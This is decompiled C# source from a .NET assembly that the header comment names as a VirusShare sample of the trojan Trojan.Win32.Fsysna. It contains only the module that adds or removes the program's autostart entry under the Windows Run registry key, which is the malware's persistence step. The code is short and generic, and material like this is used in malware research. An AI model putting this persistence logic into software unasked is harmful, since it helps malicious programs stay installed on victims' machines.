// Decompiled with JetBrains decompiler // Type: Refx.modRegister // Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 5DD4C44F-C748-4813-B398-D3DE520CF41A // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01.exe using Microsoft.VisualBasic.CompilerServices; using Microsoft.Win32; using System; using System.Security.AccessControl; namespace Refx { [StandardModule] internal sealed class modRegister { public static bool StartUpInstall(string AppName, string AppPath, bool InstallToLocalMachine) { bool flag; try { if (InstallToLocalMachine) { Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.SetValue).SetValue(AppName, (object) AppPath, RegistryValueKind.String); flag = true; } else { Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.SetValue).SetValue(AppName, (object) AppPath, RegistryValueKind.String); flag = true; } } catch (Exception ex) { ProjectData.SetProjectError(ex); flag = false; ProjectData.ClearProjectError(); } return flag; } public static bool StartUpUnInstall(string AppName, bool InstallToLocalMachine) { bool flag; try { if (InstallToLocalMachine) { Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.SetValue).DeleteValue(AppName, false); flag = true; } else { Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.SetValue).DeleteValue(AppName, false); flag = true; } } catch (Exception ex) { ProjectData.SetProjectError(ex); flag = false; ProjectData.ClearProjectError(); } return flag; } } }